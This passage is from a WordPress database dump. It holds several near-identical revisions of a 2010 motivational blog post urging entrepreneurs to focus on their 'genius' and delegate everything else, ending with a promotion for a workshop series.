intelligence.</strong>\r\n\r\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your genius is found in what you are naturally drawn to–when you loves doing something with passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\r\n\r\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Your genius is a life long expression.</strong>\r\n\r\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\r\n\r\nWhen you are operating from your genius, people will seemed astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\r\n\r\n<strong>Your genius is the key to your financial freedom.</strong>\r\n\r\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\r\n\r\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\r\n\r\n<strong>Own your future now.</strong>\r\n\r\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\r\n\r\n<strong>Once you begin to fully living in your days from this elevated perspective, the more unbridled freedom you will have to keep growing and expanding your opportunities.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../2010/10/24/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="../contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../2010/10/24/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Focus your attention on your genius delegate everything else.', 0, '', 'inherit', 'open', 'open', '', '1218-revision-2', '', '', '2010-11-16 15:57:16', '2010-11-16 22:57:16', '', 1218, 'http://www.whitehotcenter.com/2010/11/16/1218-revision-2/', 0, 'revision', '', 0),
(1222, 2, '2010-11-16 15:57:42', '2010-11-16 22:57:42', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="500" height="290" />\r\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\r\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\r\n\r\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\r\n\r\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\r\n\r\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\r\n\r\n<strong>Your genius is not your intelligence.</strong>\r\n\r\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your genius is found in what you are naturally drawn to–when you loves doing something with passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\r\n\r\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Your genius is a life long expression.</strong>\r\n\r\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\r\n\r\nWhen you are operating from your genius, people will seemed astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\r\n\r\n<strong>Your genius is the key to your financial freedom.</strong>\r\n\r\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\r\n\r\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\r\n\r\n<strong>Own your future now.</strong>\r\n\r\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\r\n\r\n<strong>Once you begin to fully living in your days from this elevated perspective, the more unbridled freedom you will have to keep growing and expanding your opportunities.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../2010/10/24/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="../contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../2010/10/24/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Focus your attention on your genius delegate everything else.', 0, '', 'inherit', 'open', 'open', '', '1218-revision-3', '', '', '2010-11-16 15:57:42', '2010-11-16 22:57:42', '', 1218, 'http://www.whitehotcenter.com/2010/11/16/1218-revision-3/', 0, 'revision', '', 0),
(1223, 2, '2010-11-16 15:57:57', '2010-11-16 22:57:57', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="500" height="290" />\r\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\r\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\r\n\r\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\r\n\r\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\r\n\r\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\r\n\r\n<strong>Your genius is not your intelligence.</strong>\r\n\r\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your genius is found in what you are naturally drawn to–when you loves doing something with passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\r\n\r\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Your genius is a life long expression.</strong>\r\n\r\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\r\n\r\nWhen you are operating from your genius, people will seemed astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\r\n\r\n<strong>Your genius is the key to your financial freedom.</strong>\r\n\r\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\r\n\r\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\r\n\r\n<strong>Own your future now.</strong>\r\n\r\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\r\n\r\n<strong>Once you begin to fully living in your days from this elevated perspective, the more unbridled freedom you will have to keep growing and expanding your opportunities.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../2010/10/24/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="../contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../2010/10/24/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Focus your attention on your genius delegate everything else.', 0, '', 'inherit', 'open', 'open', '', '1218-revision-4', '', '', '2010-11-16 15:57:57', '2010-11-16 22:57:57', '', 1218, 'http://www.whitehotcenter.com/2010/11/16/1218-revision-4/', 0, 'revision', '', 0),
(1226, 2, '2010-11-16 16:05:54', '2010-11-16 23:05:54', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="500" height="290" />\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\n\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\n\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\n\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\n\n<strong>Your genius is not your intelligence.</strong>\n\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your genius is found in what you are naturally drawn to–when you love doing something with unbridled passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\n\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\n\n<strong> </strong>\n\n<strong> </strong>\n\n<strong>Your genius is a life long expression.</strong>\n\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\n\nWhen you are operating from your genius, people will seemed astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\n\n<strong>Your genius is the key to your financial freedom.</strong>\n\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\n\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\n\n<strong>Own your future now.</strong>\n\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\n\n<strong>Once you begin to fully live in your days from this elevated perspective, the more freedom you will have to keep growing and expanding your opportunities.</strong>\n\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../2010/10/24/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="../contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../2010/10/24/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Focus your attention on your genius delegate everything else.', 0, '', 'inherit', 'open', 'open', '', '1218-revision-7', '', '', '2010-11-16 16:05:54', '2010-11-16 23:05:54', '', 1218, 'http://www.whitehotcenter.com/2010/11/16/1218-revision-7/', 0, 'revision', '', 0),
(1224, 2, '2010-11-16 16:00:17', '2010-11-16 23:00:17', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="500" height="290" />\r\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\r\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\r\n\r\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\r\n\r\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\r\n\r\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\r\n\r\n<strong>Your genius is not your intelligence.</strong>\r\n\r\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your genius is found in what you are naturally drawn to–when you love doing something with unbridled passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\r\n\r\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Your genius is a life long expression.</strong>\r\n\r\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\r\n\r\nWhen you are operating from your genius, people will seemed astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\r\n\r\n<strong>Your genius is the key to your financial freedom.</strong>\r\n\r\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\r\n\r\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\r\n\r\n<strong>Own your future now.</strong>\r\n\r\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\r\n\r\n<strong>Once you begin to fully living in your days from this elevated perspective, the more unbridled freedom you will have to keep growing and expanding your opportunities.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../2010/10/24/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="../contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../2010/10/24/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Focus your attention on your genius delegate everything else.', 0, '', 'inherit', 'open', 'open', '', '1218-revision-5', '', '', '2010-11-16 16:00:17', '2010-11-16 23:00:17', '', 1218, 'http://www.whitehotcenter.com/2010/11/16/1218-revision-5/', 0, 'revision', '', 0),
(1225, 2, '2010-11-16 16:00:29', '2010-11-16 23:00:29', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="500" height="290" />\r\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\r\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\r\n\r\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\r\n\r\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\r\n\r\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\r\n\r\n<strong>Your genius is not your intelligence.</strong>\r\n\r\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your genius is found in what you are naturally drawn to–when you love doing something with unbridled passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\r\n\r\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Your genius is a life long expression.</strong>\r\n\r\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\r\n\r\nWhen you are operating from your genius, people will seemed astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\r\n\r\n<strong>Your genius is the key to your financial freedom.</strong>\r\n\r\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\r\n\r\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\r\n\r\n<strong>Own your future now.</strong>\r\n\r\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\r\n\r\n<strong>Once you begin to fully living in your days from this elevated perspective, the more unbridled freedom you will have to keep growing and expanding your opportunities.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../2010/10/24/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="../contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../2010/10/24/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Focus your attention on your genius delegate everything else.', 0, '', 'inherit', 'open', 'open', '', '1218-revision-6', '', '', '2010-11-16 16:00:29', '2010-11-16 23:00:29', '', 1218, 'http://www.whitehotcenter.com/2010/11/16/1218-revision-6/', 0, 'revision', '', 0);
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(1227, 2, '2010-11-16 16:07:08', '2010-11-16 23:07:08', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="500" height="290" />\r\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\r\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\r\n\r\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\r\n\r\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\r\n\r\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\r\n\r\n<strong>Your genius is not your intelligence.</strong>\r\n\r\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your genius is found in what you are naturally drawn to–when you love doing something with unbridled passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\r\n\r\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Your genius is a life long expression.</strong>\r\n\r\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\r\n\r\nWhen you are operating from your genius, people will seemed astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\r\n\r\n<strong>Your genius is the key to your financial freedom.</strong>\r\n\r\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\r\n\r\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\r\n\r\n<strong>Own your future now.</strong>\r\n\r\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\r\n\r\n<strong>Once you begin to fully live in your days from this elevated perspective, the more freedom you will have to keep growing and expanding your opportunities.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../2010/10/24/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="../contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../2010/10/24/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Focus your attention on your genius delegate everything else.', 0, '', 'inherit', 'open', 'open', '', '1218-revision-8', '', '', '2010-11-16 16:07:08', '2010-11-16 23:07:08', '', 1218, 'http://www.whitehotcenter.com/2010/11/16/1218-revision-8/', 0, 'revision', '', 0),
